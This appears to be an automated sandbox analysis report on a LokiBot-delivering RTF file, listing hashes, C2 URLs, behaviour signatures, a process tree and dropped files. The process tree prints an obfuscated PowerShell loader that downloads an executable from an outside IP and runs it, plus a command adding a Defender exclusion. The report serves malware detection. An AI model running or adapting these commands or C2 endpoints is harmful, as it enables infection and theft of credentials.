Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 05:02

General

  • Target

    564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1.rtf

  • Size

    251KB

  • MD5

    e6859034a42f217800b6bf0980e93848

  • SHA1

    8dcb69dcf727b7a7fbfbf6755492990dc51fd192

  • SHA256

    564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1

  • SHA512

    778ceefc76571268a7c82c18ec1b6f6661b4f696d2612528b8eb94488383c84c9dba6613cd5b1c715514e64d062d73d28d84395f30dadb4fd2da51cbac372d35

  • SSDEEP

    3072:sUcN1DaxXp1sAkC5gCQqCv7L5FokmFJcmrmR3D:slruZ1sA55gCQBL5FokmFyCmR3D

Malware Config

Extracted

Family

lokibot

C2

http://94.156.177.41/maxzi/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Lokibot family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1.rtf"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2512
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1272
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:320
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta"
        2⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
          "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
          3⤵
          • Blocklisted process makes network request
          • Evasion via Device Credential Deployment
          • Loads dropped DLL
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2808
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt
            4⤵
            • Evasion via Device Credential Deployment
            • Drops file in System32 directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2088
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xgmcc-rp.cmdline"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1252
            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
              C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEF30.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCEF2F.tmp"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2604
          • C:\Users\Admin\AppData\Roaming\wininit.exe
            "C:\Users\Admin\AppData\Roaming\wininit.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2576
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wininit.exe"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2904
            • C:\Users\Admin\AppData\Roaming\wininit.exe
              "C:\Users\Admin\AppData\Roaming\wininit.exe"
              5⤵
              • Executes dropped EXE
              PID:1944
            • C:\Users\Admin\AppData\Roaming\wininit.exe
              "C:\Users\Admin\AppData\Roaming\wininit.exe"
              5⤵
              • Executes dropped EXE
              PID:3008
            • C:\Users\Admin\AppData\Roaming\wininit.exe
              "C:\Users\Admin\AppData\Roaming\wininit.exe"
              5⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook profiles
              • Suspicious use of AdjustPrivilegeToken
              • outlook_office_path
              • outlook_win_path
              PID:964

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RESEF30.tmp

      Filesize

      1KB

      MD5

      263725a648fa08c47ff7e93f6ae6d9c0

      SHA1

      ee2c49bfe3c908be90f840a82d55d572e0796d22

      SHA256

      033ea33d1de91319919c2fe2bbeb7e26e9fc737a361f0bf1cb82e5800b29dae8

      SHA512

      62d0a5030f61206cdf3cc7114d10fa6f9eb31489cb06e3db170b424eb97b1f7566363ba9e25b2164e54113c91f5bee23715230a78e72d4c92a8b24827678a3a9

    • C:\Users\Admin\AppData\Local\Temp\xgmcc-rp.dll

      Filesize

      3KB

      MD5

      c5f00bb6591de7e8babb742aa2484bc5

      SHA1

      82c7f4061ae27f8aaedf321abc5cafaef0d62ce5

      SHA256

      b9a7fedec9b243cc52623cf2a0d2c40666b06070122ab8f972e1cddde381c53f

      SHA512

      4881d72b592f6bd127fa5b11e8baa31fd17213051460ea91f2a72723332aec0a9f2a0fd7dfec6a99d76a0437f1f94ed1618b0dabf212462bbf1c8518c854aabb

    • C:\Users\Admin\AppData\Local\Temp\xgmcc-rp.pdb

      Filesize

      7KB

      MD5

      5c91fa3698eaa494e7bdeff3900f498d

      SHA1

      1771bf5cf61301c1202fc69fc7c9cb1cb062cc46

      SHA256

      d7acde1a4c82c2541f3135f760d937280df2247dbabf89928c70785b73c2944c

      SHA512

      32c228aed04738ffeff1ce0dfcf8332c2e4256e4c4863fcc105528460a4016c894eaac0b5def24dd75b44d659daaf706dbe318d98f60c946618dc21510013eab

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1488793075-819845221-1497111674-1000\0f5007522459c86e95ffcc62f32308f1_18cc84e5-41c1-45e6-bdc9-06ff0c9e128a

      Filesize

      46B

      MD5

      d898504a722bff1524134c6ab6a5eaa5

      SHA1

      e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

      SHA256

      878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

      SHA512

      26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1488793075-819845221-1497111674-1000\0f5007522459c86e95ffcc62f32308f1_18cc84e5-41c1-45e6-bdc9-06ff0c9e128a

      Filesize

      46B

      MD5

      c07225d4e7d01d31042965f048728a0a

      SHA1

      69d70b340fd9f44c89adb9a2278df84faa9906b7

      SHA256

      8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

      SHA512

      23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      a34ac71400d222f400e4f0a1aa3b7e24

      SHA1

      e10eb1a6b583805012d6b32e48ed7583f28924af

      SHA256

      eb7f05c333b827a314fd3967613890e68338dedd3db7a9dccf97ee7217be41b1

      SHA512

      0baa4cd30c091dfc81987ccbba4262cabd6f2bebd23a11bf033245d093ad9f08236fcc6e5bf377f7ed1447b44dfbf75de75540dea0519f9c3f234e2877ae48bf

    • C:\Users\Admin\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta

      Filesize

      23KB

      MD5

      ec0d423a3f72d69975a1e31a275f5377

      SHA1

      213922fb8456ecaadc24889afec1ac6ef5010c68

      SHA256

      9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac

      SHA512

      8132f567abfd4e3489204d1f3a9fc8292457ce10495345cd0ccfa8074233411c8305c4d73078a7dee02b086fbc22b8ad7047dd4bc127de337d0800771edf53ad

    • C:\Users\Admin\AppData\Roaming\wininit.exe

      Filesize

      586KB

      MD5

      66b03d1aff27d81e62b53fc108806211

      SHA1

      2557ec8b32d0b42cac9cabde199d31c5d4e40041

      SHA256

      59586e753c54629f428a6b880f6aff09f67af0ace76823af3627dda2281532e4

      SHA512

      9f8ef3dd8c482debb535b1e7c9155e4ab33a04f8c4f31ade9e70adbd5598362033785438d5d60c536a801e134e09fcd1bc80fc7aed2d167af7f531a81f12e43d

    • \??\c:\Users\Admin\AppData\Local\Temp\CSCEF2F.tmp

      Filesize

      652B

      MD5

      a99eb9ea198acaedd5077eed8303179a

      SHA1

      d394d42b44edca1fe0d5ec37f7d214f41d0df184

      SHA256

      d5aed99214eb726589da2e693c0e5d3d9dcef4c875c310327672ca04d9e79cdc

      SHA512

      4eaefef8756bab8364bdbc081066d7e172fb043f4001d221c796564dd7d4b1f217f1d3373470bad71717656c1cc46645a4d4c1a2ebc263133ec0def71030ffad

    • \??\c:\Users\Admin\AppData\Local\Temp\xgmcc-rp.0.cs

      Filesize

      480B

      MD5

      b0517586f4097114e790c61f2685f0d5

      SHA1

      20f7482298ab96731228ebd5242ceddfd72ff50f

      SHA256

      a738e3af6f29edd637630b0299f306056042ea1c73850eee95498499f5d90237

      SHA512

      c28702017ce7fe0d34bea38cef48df3bb65c63d92dddd6f8264f7262f7ae61b8d71bcd6fec06d0792373d15ba84fb2a1d0c26b0fe5755bc20505a9197d654ba0

    • \??\c:\Users\Admin\AppData\Local\Temp\xgmcc-rp.cmdline

      Filesize

      309B

      MD5

      03cc27246d73effddabcde0c807b3ca0

      SHA1

      8f32dc674e23ad6ab55fa0434c79f11eb3e3b95e

      SHA256

      b90f9b503065cd1bc445cfcb568cac7f3015b25fff1b9bd5a509ca29f7abaca6

      SHA512

      1a64ef59acc448c8bda48f92bdcc93a133a3e609afe5933f2104248e8c2964ede6ee99d4d965ca0f17365d53ed15d53e97a2de1be68437e0305863f7e0eb84a2

    • memory/964-74-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/964-67-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/964-107-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/964-98-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/964-63-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/964-61-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/964-72-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/964-71-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/964-69-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/964-65-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/2512-0-0x000000002F981000-0x000000002F982000-memory.dmp

      Filesize

      4KB

    • memory/2512-42-0x00000000710FD000-0x0000000071108000-memory.dmp

      Filesize

      44KB

    • memory/2512-2-0x00000000710FD000-0x0000000071108000-memory.dmp

      Filesize

      44KB

    • memory/2512-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2576-58-0x0000000004510000-0x0000000004574000-memory.dmp

      Filesize

      400KB

    • memory/2576-57-0x0000000000320000-0x0000000000332000-memory.dmp

      Filesize

      72KB

    • memory/2576-56-0x0000000000890000-0x0000000000928000-memory.dmp

      Filesize

      608KB